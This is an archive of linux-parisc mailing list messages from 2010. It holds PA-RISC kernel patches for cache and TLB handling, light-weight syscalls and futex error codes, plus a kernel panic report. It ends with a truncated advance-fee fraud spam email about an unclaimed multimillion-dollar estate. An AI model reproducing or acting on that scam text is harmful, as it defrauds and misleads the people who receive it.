 	ldo	-16(%r30),%r29		/* Reference param save area */
 #endif
 
-	STREG	%r2,PT_GR19(%r1)	/* save for child */
+	STREG	%r2,PT_SYSCALL_RP(%r1)
+
+	/* WARNING - Clobbers r21, userspace must save! */
 	STREG	%r30,PT_GR21(%r1)
 
 	BL	sys_vfork,%r2
@@ -2076,9 +2091,10 @@ syscall_restore:
 	LDREG	TASK_PT_GR31(%r1),%r31	   /* restore syscall rp */
 
 	/* NOTE: We use rsm/ssm pair to make this operation atomic */
+	LDREG   TASK_PT_GR30(%r1),%r1              /* Get user sp */
 	rsm     PSW_SM_I, %r0
-	LDREG   TASK_PT_GR30(%r1),%r30             /* restore user sp */
-	mfsp	%sr3,%r1			   /* Get users space id */
+	copy    %r1,%r30                           /* Restore user sp */
+	mfsp    %sr3,%r1                           /* Get user space id */
 	mtsp    %r1,%sr7                           /* Restore sr7 */
 	ssm     PSW_SM_I, %r0
 
diff --git a/arch/parisc/kernel/pacache.S b/arch/parisc/kernel/pacache.S
index 09b77b2..4f0d975 100644
--- a/arch/parisc/kernel/pacache.S
+++ b/arch/parisc/kernel/pacache.S
@@ -277,6 +277,7 @@ ENDPROC(flush_data_cache_local)
 
 	.align	16
 
+#if 1
 ENTRY(copy_user_page_asm)
 	.proc
 	.callinfo NO_CALLS
@@ -400,6 +401,7 @@ ENTRY(copy_user_page_asm)
 
 	.procend
 ENDPROC(copy_user_page_asm)
+#endif
 
 /*
  * NOTE: Code in clear_user_page has a hard coded dependency on the
@@ -548,17 +550,33 @@ ENTRY(__clear_user_page_asm)
 	depwi		0, 31,12, %r28		/* Clear any offset bits */
 #endif
 
+#ifdef CONFIG_SMP
+	ldil		L%pa_tlb_lock, %r1
+	ldo		R%pa_tlb_lock(%r1), %r24
+	rsm		PSW_SM_I, %r22
+1:
+	LDCW		0(%r24),%r25
+	cmpib,COND(=)	0,%r25,1b
+	nop
+#endif
+
 	/* Purge any old translation */
 
 	pdtlb		0(%r28)
 
+#ifdef CONFIG_SMP
+	ldi		1,%r25
+	stw		%r25,0(%r24)
+	mtsm		%r22
+#endif
+
 #ifdef CONFIG_64BIT
 	ldi		(PAGE_SIZE / 128), %r1
 
 	/* PREFETCH (Write) has not (yet) been proven to help here */
 	/* #define	PREFETCHW_OP	ldd		256(%0), %r0 */
 
-1:	std		%r0, 0(%r28)
+2:	std		%r0, 0(%r28)
 	std		%r0, 8(%r28)
 	std		%r0, 16(%r28)
 	std		%r0, 24(%r28)
@@ -574,13 +592,13 @@ ENTRY(__clear_user_page_asm)
 	std		%r0, 104(%r28)
 	std		%r0, 112(%r28)
 	std		%r0, 120(%r28)
-	addib,COND(>)		-1, %r1, 1b
+	addib,COND(>)		-1, %r1, 2b
 	ldo		128(%r28), %r28
 
 #else	/* ! CONFIG_64BIT */
 	ldi		(PAGE_SIZE / 64), %r1
 
-1:
+2:
 	stw		%r0, 0(%r28)
 	stw		%r0, 4(%r28)
 	stw		%r0, 8(%r28)
@@ -597,7 +615,7 @@ ENTRY(__clear_user_page_asm)
 	stw		%r0, 52(%r28)
 	stw		%r0, 56(%r28)
 	stw		%r0, 60(%r28)
-	addib,COND(>)		-1, %r1, 1b
+	addib,COND(>)		-1, %r1, 2b
 	ldo		64(%r28), %r28
 #endif	/* CONFIG_64BIT */
 
diff --git a/arch/parisc/kernel/setup.c b/arch/parisc/kernel/setup.c
index cb71f3d..84b3239 100644
--- a/arch/parisc/kernel/setup.c
+++ b/arch/parisc/kernel/setup.c
@@ -128,6 +128,14 @@ void __init setup_arch(char **cmdline_p)
 	printk(KERN_INFO "The 32-bit Kernel has started...\n");
 #endif
 
+	/* Consistency check on the size and alignments of our spinlocks */
+#ifdef CONFIG_SMP
+	BUILD_BUG_ON(sizeof(arch_spinlock_t) != __PA_LDCW_ALIGNMENT);
+	BUG_ON((unsigned long)&__atomic_hash[0] & (__PA_LDCW_ALIGNMENT-1));
+	BUG_ON((unsigned long)&__atomic_hash[1] & (__PA_LDCW_ALIGNMENT-1));
+#endif
+	BUILD_BUG_ON((1<<L1_CACHE_SHIFT) != L1_CACHE_BYTES);
+
 	pdc_console_init();
 
 #ifdef CONFIG_64BIT
diff --git a/arch/parisc/kernel/syscall.S b/arch/parisc/kernel/syscall.S
index f5f9602..68e75ce 100644
--- a/arch/parisc/kernel/syscall.S
+++ b/arch/parisc/kernel/syscall.S
@@ -47,18 +47,17 @@ ENTRY(linux_gateway_page)
 	KILL_INSN
 	.endr
 
-	/* ADDRESS 0xb0 to 0xb4, lws uses 1 insns for entry */
+	/* ADDRESS 0xb0 to 0xb8, lws uses two insns for entry */
 	/* Light-weight-syscall entry must always be located at 0xb0 */
 	/* WARNING: Keep this number updated with table size changes */
 #define __NR_lws_entries (2)
 
 lws_entry:
-	/* Unconditional branch to lws_start, located on the 
-	   same gateway page */
-	b,n	lws_start
+	gate	lws_start, %r0		/* increase privilege */
+	depi	3, 31, 2, %r31		/* Ensure we return into user mode. */
 
-	/* Fill from 0xb4 to 0xe0 */
-	.rept 11
+	/* Fill from 0xb8 to 0xe0 */
+	.rept 10
 	KILL_INSN
 	.endr
 
@@ -423,9 +422,6 @@ tracesys_sigexit:
 
 	*********************************************************/
 lws_start:
-	/* Gate and ensure we return to userspace */
-	gate	.+8, %r0
-	depi	3, 31, 2, %r31	/* Ensure we return to userspace */
 
 #ifdef CONFIG_64BIT
 	/* FIXME: If we are a 64-bit kernel just
@@ -442,7 +438,7 @@ lws_start:
 #endif	
 
         /* Is the lws entry number valid? */
-	comiclr,>>=	__NR_lws_entries, %r20, %r0
+	comiclr,>>	__NR_lws_entries, %r20, %r0
 	b,n	lws_exit_nosys
 
 	/* WARNING: Trashing sr2 and sr3 */
@@ -473,7 +469,7 @@ lws_exit:
 	/* now reset the lowest bit of sp if it was set */
 	xor	%r30,%r1,%r30
 #endif
-	be,n	0(%sr3, %r31)
+	be,n	0(%sr7, %r31)
 
 
 	
@@ -529,7 +525,6 @@ lws_compare_and_swap32:
 #endif
 
 lws_compare_and_swap:
-#ifdef CONFIG_SMP
 	/* Load start of lock table */
 	ldil	L%lws_lock_start, %r20
 	ldo	R%lws_lock_start(%r20), %r28
@@ -572,8 +567,6 @@ cas_wouldblock:
 	ldo	2(%r0), %r28				/* 2nd case */
 	b	lws_exit				/* Contended... */
 	ldo	-EAGAIN(%r0), %r21			/* Spin in userspace */
-#endif
-/* CONFIG_SMP */
 
 	/*
 		prev = *addr;
@@ -601,13 +594,11 @@ cas_action:
 1:	ldw	0(%sr3,%r26), %r28
 	sub,<>	%r28, %r25, %r0
 2:	stw	%r24, 0(%sr3,%r26)
-#ifdef CONFIG_SMP
 	/* Free lock */
 	stw	%r20, 0(%sr2,%r20)
-# if ENABLE_LWS_DEBUG
+#if ENABLE_LWS_DEBUG
 	/* Clear thread register indicator */
 	stw	%r0, 4(%sr2,%r20)
-# endif
 #endif
 	/* Return to userspace, set no error */
 	b	lws_exit
@@ -615,12 +606,10 @@ cas_action:
 
 3:		
 	/* Error occured on load or store */
-#ifdef CONFIG_SMP
 	/* Free lock */
 	stw	%r20, 0(%sr2,%r20)
-# if ENABLE_LWS_DEBUG
+#if ENABLE_LWS_DEBUG
 	stw	%r0, 4(%sr2,%r20)
-# endif
 #endif
 	b	lws_exit
 	ldo	-EFAULT(%r0),%r21	/* set errno */
@@ -672,7 +661,6 @@ ENTRY(sys_call_table64)
 END(sys_call_table64)
 #endif
 
-#ifdef CONFIG_SMP
 	/*
 		All light-weight-syscall atomic operations 
 		will use this set of locks 
@@ -694,8 +682,6 @@ ENTRY(lws_lock_start)
 	.endr
 END(lws_lock_start)
 	.previous
-#endif
-/* CONFIG_SMP for lws_lock_start */
 
 .end
 
diff --git a/arch/parisc/kernel/traps.c b/arch/parisc/kernel/traps.c
index 8b58bf0..804b024 100644
--- a/arch/parisc/kernel/traps.c
+++ b/arch/parisc/kernel/traps.c
@@ -47,7 +47,7 @@
 			  /*  dumped to the console via printk)          */
 
 #if defined(CONFIG_SMP) || defined(CONFIG_DEBUG_SPINLOCK)
-DEFINE_SPINLOCK(pa_dbit_lock);
+DEFINE_SPINLOCK(pa_pte_lock);
 #endif
 
 static void parisc_show_stack(struct task_struct *task, unsigned long *sp,
diff --git a/arch/parisc/lib/bitops.c b/arch/parisc/lib/bitops.c
index 353963d..bae6a86 100644
--- a/arch/parisc/lib/bitops.c
+++ b/arch/parisc/lib/bitops.c
@@ -15,6 +15,9 @@
 arch_spinlock_t __atomic_hash[ATOMIC_HASH_SIZE] __lock_aligned = {
 	[0 ... (ATOMIC_HASH_SIZE-1)]  = __ARCH_SPIN_LOCK_UNLOCKED
 };
+arch_spinlock_t __atomic_user_hash[ATOMIC_HASH_SIZE] __lock_aligned = {
+	[0 ... (ATOMIC_HASH_SIZE-1)]  = __ARCH_SPIN_LOCK_UNLOCKED
+};
 #endif
 
 #ifdef CONFIG_64BIT
diff --git a/arch/parisc/math-emu/decode_exc.c b/arch/parisc/math-emu/decode_exc.c
index 3ca1c61..27a7492 100644
--- a/arch/parisc/math-emu/decode_exc.c
+++ b/arch/parisc/math-emu/decode_exc.c
@@ -342,6 +342,7 @@ decode_fpu(unsigned int Fpu_register[], unsigned int trap_counts[])
 		return SIGNALCODE(SIGFPE, FPE_FLTINV);
 	  case DIVISIONBYZEROEXCEPTION:
 		update_trap_counts(Fpu_register, aflags, bflags, trap_counts);
+		Clear_excp_register(exception_index);
 	  	return SIGNALCODE(SIGFPE, FPE_FLTDIV);
 	  case INEXACTEXCEPTION:
 		update_trap_counts(Fpu_register, aflags, bflags, trap_counts);
diff --git a/mm/memory.c b/mm/memory.c
index 09e4b1b..21c2916 100644
--- a/mm/memory.c
+++ b/mm/memory.c
@@ -616,7 +616,7 @@ copy_one_pte(struct mm_struct *dst_mm, struct mm_struct *src_mm,
 	 * in the parent and the child
 	 */
 	if (is_cow_mapping(vm_flags)) {
-		ptep_set_wrprotect(src_mm, addr, src_pte);
+		ptep_set_wrprotect(vma, src_mm, addr, src_pte);
 		pte = pte_wrprotect(pte);
 	}
 

--sm4nu43k4a2Rpi4c--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: threads and fork on machine with VIPT-WB cache
Date: Mon, 10 May 2010 21:20:34 +0200
Lines: 51
Approved: news@gmane.org
Message-ID: <4BE85C82.4080202@gmx.de>
References: <20100412214118.46D925160@hiauly1.hia.nrc.ca> <20100413115501.307040@gmx.net> <20100419162653.GA106@hiauly1.hia.nrc.ca> <4BCDEB6E.1060408@gmx.de> <20100509124339.GA6797@hiauly1.hia.nrc.ca> <20100510095632.173760@gmx.net> <20100510145648.GA13452@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1273519268 14389 80.91.229.12 (10 May 2010 19:21:08 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 10 May 2010 19:21:08 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	carlos@systemhalted.org, gniibe@fsij.org,
	linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon May 10 21:20:58 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OBYXB-0002Tg-TD
	for glpp-linux-parisc@lo.gmane.org; Mon, 10 May 2010 21:20:58 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754417Ab0EJTUp (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 10 May 2010 15:20:45 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:37092 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1754248Ab0EJTUo (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 10 May 2010 15:20:44 -0400
Original-Received: (qmail invoked by alias); 10 May 2010 19:20:38 -0000
Original-Received: from p54AD140D.dip0.t-ipconnect.de (EHLO halden.box) [84.173.20.13]
  by mail.gmx.net (mp068) with SMTP; 10 May 2010 21:20:38 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1+te0o8nfqtI8opkkHjJrJ75yN//khr0fVPPAfPhQ
	8+lRvjjmvk9oHx
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.9) Gecko/20100330 Fedora/3.0.4-1.fc11 Lightning/1.0b2pre Thunderbird/3.0.4
In-Reply-To: <20100510145648.GA13452@hiauly1.hia.nrc.ca>
X-Enigmail-Version: 1.0.1
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2846
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2846>

On 05/10/2010 04:56 PM, John David Anglin wrote:
> Yes, just after sending, I noticed gcc testsuite and minifail were
> broken on gsyprf11.  [...]
> 
> The attached works better on gsyprf11.  I haven't tested it on anything
> else.

Hi Dave,

Ugh... :-(
At boot I get:
...
INIT: Entering runlevel: 2

Starting enhanced syslogd: rsyslogd.

Starting system message bus: dbuseth0: Setting full-duplex based on MII#1 link partner capability of 41e1.

Starting OpenBSD Secure Shell server: sshd


Backtrace:


High Priority Machine Check (HPMC): Code=1 regs=106f5080 (Addr=00000000)

Kernel panic - not syncing: High Priority Machine Check (HPMC)

Backtrace:

 [<1011ebc4>] show_stack+0x18/0x28

 [<10117b90>] dump_stack+0x1c/0x2c

 [<10117c18>] panic+0x78/0x1e8

 [<1011f134>] parisc_terminate+0xe4/0xfc

 [<1011f504>] handle_interruption+0x1f0/

I'm not sure if this relates to your patch though...

Anyway, the machine is located at work and I can't restart it remotely.
I'll test it again tomorrow...

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: futex.c and EWOULDBLOCK vs. EAGAIN patch
Date: Mon, 10 May 2010 21:41:40 +0200
Lines: 115
Approved: news@gmane.org
Message-ID: <4BE86174.1080008@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1273520513 19368 80.91.229.12 (10 May 2010 19:41:53 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 10 May 2010 19:41:53 +0000 (UTC)
To: linux-parisc <linux-parisc@vger.kernel.org>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>,
	Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon May 10 21:41:51 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OBYrO-0003Q7-88
	for glpp-linux-parisc@lo.gmane.org; Mon, 10 May 2010 21:41:50 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755762Ab0EJTlt (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 10 May 2010 15:41:49 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:50718 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1755128Ab0EJTls (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 10 May 2010 15:41:48 -0400
Original-Received: (qmail invoked by alias); 10 May 2010 19:41:43 -0000
Original-Received: from p54AD140D.dip0.t-ipconnect.de (EHLO halden.box) [84.173.20.13]
  by mail.gmx.net (mp047) with SMTP; 10 May 2010 21:41:43 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1//bNAKAnX/EK5kOACoUdJARkToGoyTsqa66u6P88
	9tm0DMQ1ntiwcZ
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.9) Gecko/20100330 Fedora/3.0.4-1.fc11 Lightning/1.0b2pre Thunderbird/3.0.4
X-Enigmail-Version: 1.0.1
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2847
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2847>

Since PARISC is the only Linux architecture which has different values
for EAGAIN and EWOULDBLOCK, we are running in various issues.

One of them is, that e.g. glibc checks for EAGAIN instead of EWOULDBLOCK
(and vise versa) in nptl/pthread_mutex_trylock.c. This doesn't hurt
other architectures, but it hurts parisc.

I was planning to send the patch below to linux kernel mailing list.
But before I do it, I would like to get feedback from the kernel
hackers here on the list.

What do you think?
Is this patch useful?
Or will people just call me an idiot if I ask if this patch could be applied?
If you think it's useful, maybe another patch description would be more appropriate?

Any feedback is welcome...

Helge

-----------------------
[PATCH] futex.c: return EAGAIN instead of EWOULDBLOCK

Patch summary:
In the Linux kernel all architectures beside the PARISC architecture 
define EWOULDBLOCK as EAGAIN:

arch/sparc/include/asm/errno.h:#define  EWOULDBLOCK     EAGAIN  /* Operation would block */
arch/mips/include/asm/errno.h:#define   EWOULDBLOCK     EAGAIN  /* Operation would block */
arch/alpha/include/asm/errno.h:#define  EWOULDBLOCK     EAGAIN  /* Operation would block */
include/asm-generic/errno.h:#define     EWOULDBLOCK     EAGAIN  /* Operation would block */

The only exception is PARISC, which tries to keep HP-UX compatibility:
arch/parisc/include/asm/errno.h:#define EWOULDBLOCK     246     /* Operation would block (Linux returns EAGAIN) */

This difference leads to various problems with userspace, which often 
thinks that EWOULDBLOCK and EGAIN are of the same value. To avoid problems
userspace sometimes has to check the return value for both values.

The following patch cleans up the Linux kernel futex implementation to
always return EAGAIN instead of EWOULDBLOCK.
Binary compatibility for all architectures beside PARISC is still kept,
but on PARISC this will ease life a lot.

Signed-off-by: Helge Deller <deller@gmx.de>


diff --git a/kernel/futex.c b/kernel/futex.c
index e7a35f1..28d14ff 100644
--- a/kernel/futex.c
+++ b/kernel/futex.c
@@ -1732,7 +1732,7 @@ static void futex_wait_queue_me(struct futex_hash_bucket *hb, struct futex_q *q,
  *
  * Returns:
  *  0 - uaddr contains val and hb has been locked
- * <1 - -EFAULT or -EWOULDBLOCK (uaddr does not contain val) and hb is unlcoked
+ * <1 - -EFAULT or -EAGAIN (uaddr does not contain val) and hb is unlcoked
  */
 static int futex_wait_setup(u32 __user *uaddr, u32 val, int fshared,
 			   struct futex_q *q, struct futex_hash_bucket **hb)
@@ -1784,7 +1784,7 @@ retry_private:
 
 	if (uval != val) {
 		queue_unlock(q, *hb);
-		ret = -EWOULDBLOCK;
+		ret = -EAGAIN;
 	}
 
 out:
@@ -1969,7 +1969,7 @@ retry_private:
 	else {
 		ret = rt_mutex_trylock(&q.pi_state->pi_mutex);
 		/* Fixup the trylock return value: */
-		ret = ret ? 0 : -EWOULDBLOCK;
+		ret = ret ? 0 : -EAGAIN;
 	}
 
 	spin_lock(q.lock_ptr);
@@ -2154,7 +2154,7 @@ int handle_early_requeue_pi_wakeup(struct futex_hash_bucket *hb,
 		plist_del(&q->list, &q->list.plist);
 
 		/* Handle spurious wakeups gracefully */
-		ret = -EWOULDBLOCK;
+		ret = -EAGAIN;
 		if (timeout && !timeout->task)
 			ret = -ETIMEDOUT;
 		else if (signal_pending(current))
@@ -2196,7 +2196,7 @@ int handle_early_requeue_pi_wakeup(struct futex_hash_bucket *hb,
  * 7) timeout
  * 8) other lock acquisition failure
  *
- * If 6, return -EWOULDBLOCK (restarting the syscall would do the same).
+ * If 6, return -EAGAIN (restarting the syscall would do the same).
  *
  * If 4 or 7, we cleanup and return with -ETIMEDOUT.
  *
@@ -2318,10 +2318,10 @@ static int futex_wait_requeue_pi(u32 __user *uaddr, int fshared,
 		 * We've already been requeued, but cannot restart by calling
 		 * futex_lock_pi() directly. We could restart this syscall, but
 		 * it would detect that the user space "val" changed and return
-		 * -EWOULDBLOCK.  Save the overhead of the restart and return
-		 * -EWOULDBLOCK directly.
+		 * -EAGAIN.  Save the overhead of the restart and return
+		 * -EAGAIN directly.
 		 */
-		ret = -EWOULDBLOCK;
+		ret = -EAGAIN;
 	}
 
 out_put_keys:
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: threads and fork on machine with VIPT-WB cache
Date: Mon, 10 May 2010 17:07:12 -0400
Organization: nrc.ca
Lines: 39
Approved: news@gmane.org
Message-ID: <20100510210711.GA15723@hiauly1.hia.nrc.ca>
References: <20100412214118.46D925160@hiauly1.hia.nrc.ca> <20100413115501.307040@gmx.net> <20100419162653.GA106@hiauly1.hia.nrc.ca> <4BCDEB6E.1060408@gmx.de> <20100509124339.GA6797@hiauly1.hia.nrc.ca> <20100510095632.173760@gmx.net> <20100510145648.GA13452@hiauly1.hia.nrc.ca> <4BE85C82.4080202@gmx.de>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1273525684 7891 80.91.229.12 (10 May 2010 21:08:04 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 10 May 2010 21:08:04 +0000 (UTC)
Cc: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>,
	carlos@systemhalted.org, gniibe@fsij.org,
	linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon May 10 23:08:01 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OBaCj-0003aZ-8L
	for glpp-linux-parisc@lo.gmane.org; Mon, 10 May 2010 23:07:57 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932269Ab0EJVHQ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 10 May 2010 17:07:16 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:1536 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S932263Ab0EJVHP (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 10 May 2010 17:07:15 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 2C1EC4E77; Mon, 10 May 2010 17:07:12 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <4BE85C82.4080202@gmx.de>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2848
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2848>

On Mon, 10 May 2010, Helge Deller wrote:

> On 05/10/2010 04:56 PM, John David Anglin wrote:
> > Yes, just after sending, I noticed gcc testsuite and minifail were
> > broken on gsyprf11.  [...]
> > 
> > The attached works better on gsyprf11.  I haven't tested it on anything
> > else.
> 
> Hi Dave,
> 
> Ugh... :-(
> At boot I get:
> ...
> INIT: Entering runlevel: 2
> 
> Starting enhanced syslogd: rsyslogd.
> 
> Starting system message bus: dbuseth0: Setting full-duplex based on MII#1 link partner capability of 41e1.
> 
> Starting OpenBSD Secure Shell server: sshd

I'll do a little more testing tonight.  In testing, I have had a
couple of boot failures on gsyprf11 starting iptables.  Haven't
seen any hpmc's starting sshd.

If you find the location of the hpmc is in code modified by change,
that would be useful information.  Possibly, there is an issue with
the pdtlb,l instruction.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: MAGARETH WILLIAMS <amadeus1@base.be>
Newsgroups: gmane.spam.detected,gmane.linux.ports.parisc
Subject: I WILL SEND YOU FURTHER DETAILS
Date: Tue, 11 May 2010 13:11:00 +0200
Organization: Mr. Jerry Ntai.
Lines: 65
Approved: news@gmane.org
Message-ID: <96318d2a361a605be0d176d3364c4dab__30839.5997075879$1273579335$gmane$org@base.be>
Reply-To: <bc101707bc@yahoo.co.jp>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1273579334 3426 80.91.229.12 (11 May 2010 12:02:14 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 11 May 2010 12:02:14 +0000 (UTC)
To: undisclosed-recipients:;
Original-X-From: linux-parisc-owner@vger.kernel.org Tue May 11 14:02:12 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OBoA6-0005xt-Vl
	for glpp-linux-parisc@lo.gmane.org; Tue, 11 May 2010 14:02:11 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753251Ab0EKMCI convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 11 May 2010 08:02:08 -0400
Original-Received: from postbode01.c.iops.be ([212.53.5.91]:42342 "EHLO
	postbode01.versateladsl.be" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752286Ab0EKMCG (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 11 May 2010 08:02:06 -0400
Original-Received: (qmail 28405 invoked by uid 0); 11 May 2010 11:09:49 -0000
Original-Received: from unknown (HELO webmail.base.be) ([10.190.0.57])
          (envelope-sender <amadeus1@base.be>)
          by relay03.versateladsl.be (qmail-ldap-1.03) with SMTP
          for < >; 11 May 2010 11:09:49 -0000
X-Sender: amadeus1@base.be
User-Agent: RoundCube Webmail/0.3-stable
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
X-Spam-Report: 6.3 points;
 *  2.1 SUBJ_ALL_CAPS Subject is all capitals
 *  1.5 MILLION_USD BODY: Talks about millions of dollars
 *  0.0 BAYES_50 BODY: Bayesian spam probability is 40 to 60%
 *      [score: 0.5000]
 *  1.2 ADVANCE_FEE_2 Appears to be advance fee fraud (Nigerian 419)
 *  1.4 ADVANCE_FEE_3 Appears to be advance fee fraud (Nigerian 419)
Xref: news.gmane.org gmane.spam.detected:4628030 gmane.linux.ports.parisc:2849
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2849>



Dearest,

I am Ms Magareth Williams,now undergoing medical treatment for cancer i=
n
Malaysia. Before I took ill, I was the, Principal Assurance manager of =
BNP
Paribas Private Bank.I am getting in touch with you regarding the estat=
e of
one Mr. Goudie  and an investment placed under my management 7 years ag=
o.=20
He instructed that we liquidate the principal sum (18,350,000.00 Millio=
n
United State Dollars) because he needed to make an urgent investment th=
at
requires cash payment in Europe. We got in touch with his nominated
financial institution  in Europe, who agreed to receive this money for =
a
fee and make cash available to Mr. Goudie  for his business operations.

To my surprise, the corresponding bank in Europe got in touch with us l=
ast
year that nobody has come forward to claim the money and it has reached=
 the
threshold for the bank to declare it to the government as unclaimed
